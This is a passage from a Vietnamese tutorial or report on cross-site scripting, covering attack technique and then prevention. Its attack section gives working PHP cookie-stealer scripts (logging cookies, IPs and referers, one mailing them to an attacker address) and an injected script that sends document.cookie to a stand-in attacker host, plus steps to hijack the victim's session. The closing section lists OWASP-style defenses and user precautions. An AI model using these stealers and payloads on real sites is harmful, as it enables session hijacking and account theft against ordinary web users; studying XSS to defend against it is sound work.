Ví dụ “><script>alert(“hello world”)</script>
Trên đây là một số phương pháp check site lỗi XSS. Sau khi tìm được mục tiêu rùi,
công việc tiếp theo của chúng ta là tấn công.
5. Kĩ thuật tấn công
Để ăn cắp được cookie, ta có thể thực hiện theo các bước sau:
Ä Bước 1: tạo file ăn cắp cookie, có thể sử dụng ngôn ngữ php, asp…Tôi dùng
php để tạo 2 file Stealer.php và logs.txt
­ File Stealer.php có nội dung như sau:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("logs.txt", "a");
fwrite($steal, $cookie ."n");
fclose($steal);
22

23. ?>
­ Giải thích code trên:
$cookie = $HTTP_GET_VARS["cookie"];// Đánh cắp cookie từ địa chỉ
hiện tại url( stealer.php?cookie=x) và lưu trữ cookie trong biến $cookie
$steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm các
cookie được đánh cắp
fwrite($steal, $cookie ."n"); // Lưu lại những cookie được đánh cắp bên
trong file
fclose($steal); // Đóng lại cookie file
Ngoài ra, ta có thể sử dụng một trong những đoạn mã sau để thêm nhiều
nhiệm vụ hơn cho file stealer.php
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date.
'<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
23

24. fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date.
'<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<?php
$cookie = $HTTP_GET_VARS["cookie"];
mail("attacker@gmail.com", "Stolen Cookies", $cookie);
?> // đoạn mã này có tác dụng gửi cookies về email của attacker.
­ Ta tạo thêm 1 file logs.txt rỗng để lưu trữ toàn bộ thông tin của victim được
gửi về thông qua mệnh lện được đưa ra từ file Stealer.php
Ä Bước 2 : Ta chuẩn bị một hosting, sau đó up 2 file Stealer.php và logs.txt lên
host.
Ä Bước 3: Khai thác lỗ hổng XSS
­ Giả sử tôi up 2 file lên host site của tôi http://www.attacker.net , thì đoạn
script ăn cắp cookies có dạng như sau:
<script>location.href=’http://www.attacker.net/Stealer.php?
cookie=’+document.cookie;</script>
­ Chèn đoạn mã này vào site dính lỗi XSS là http://www.sitebiloi.com ta
được link tương tự như:
http://www.sitebiloi.com/index.php?page=<script>...</script>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ
gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ viêc mở file này ra
xem.
­ Hoặc chèn đoạn mã đó vào khung textbox, search hay comment nào đó,
khi victim view site thì cookies sẽ được gửi về cho attacker
<script>location.href=’http://www.attacker.net/Stealer.php?
cookie=’+document.cookie;</script>
24

25. ­ Sau khi đã đánh cắp được thông tin cookies của victim, có thể sử dụng tiện
ích add-ons cookies manager hoặc live để login.
6. Phòng chống XSS
a) Phòng chống từ người thiết kế và phát triển Web:
Để phòng chống XSS một cách có hiệu quả thì trước tiên đòi hỏi người thiết kế
và phát triển các ứng dụng web phải biết áp dụng các biện pháp nâng cao tính bảo
mật, độ an toàn cho web, đảm bảo thông tin cho người sử dụng tránh được nguy cơ
từ việc đánh cắp tài khoản. Lỗ hổng XSS dựa vào những điểm yếu và thiễu sót trong
quá trình thiết kế và phát triển website, vì vậy nếu không quan tâm đúng mức vấn đề
xây dựng website an toàn thì sẽ gây ra tổn thất, nhất là đối với người dùng, làm niềm
tin của họ. Đặc biệt trong lĩnh vực thương mại điện tử hay tài chính ngân hàng thì
việc đảm bảo an toàn cho người dùng là hết sức quan trọng.
OWASP đã đưa ra một số giải pháp để xây dựng các website bảo mật cao
như sau:
­ Chỉ chấp nhận những dữ liệu hợp lệ theo như yêu câu trong công việc lập
trình web.
­ Liên tục kiểm tra và thanh lọc dữ liệu.
­ Xác định tính hợp lệ tất cả các headers, cookies, query string, form fields,
hidden fields theo đặc tả chi tiết và rõ rang.
­ Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ
<script> hoặc đóng các thẻ scrip trong thẻ <comment> coi đoạn script như
một đoạn trích dẫn.
­ Lọc ra bất kí một đoạn mã JavaScript, VBScript, Flash Related.
­ Lọc dấu nháy đơn hay kép.
­ Xóa những kí tự “>”, “<” hay chuyển đổi các ký tự sau trong tất cả những
thẻ output sinh ra:
l “<” = “&lt”
l “>” = “&gt”
l “(“ = “&#40”
25

26. l “)” = “&#41”
l “#” = “&#35”
l “&” = “&#38”
­ Vẫn cho phép nhập các kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn
riêng trước khi in ra. Có thể sử dụng một số chương trình viết bằng ngôn
ngữ PHP được thiết kế riêng để phòng chống lỗi XSS như bộ thư viện
HTML Purifier.
b) Đối với người dùng
Mục tiêu chính của tấn công XSS là nhằm vào người dùng để đánh cắp thông
tin cá nhân như username, password truy cập vào Web, có thể là tài khoản ngân
hàng, thẻ tín dụng. Vì thế ta cần chú ý những điều sau:
• Khi truy cập các trang web cần xem xét an toàn trước khi kích vào các
link. Trong email, không kích vào các link gửi đến từ địa chỉ không tin
cậy.
• Sử dụng những tính năng kiểm soát hoạt động của các Script từ Web
của trình duyệt.
• Lựa chọn một trình duyệt tốt như firefox, chrome, …thường xuyên cập
nhật các phiên bản mới để đảm bảo an toàn.
Khi lướt web, không nên kích vào những đường link không tin tưởng, bởi
những URL không đáng tin có thể tạo ra bởi những hacker và chuyển hướng
đến một số chỗ nguy hiểm.
26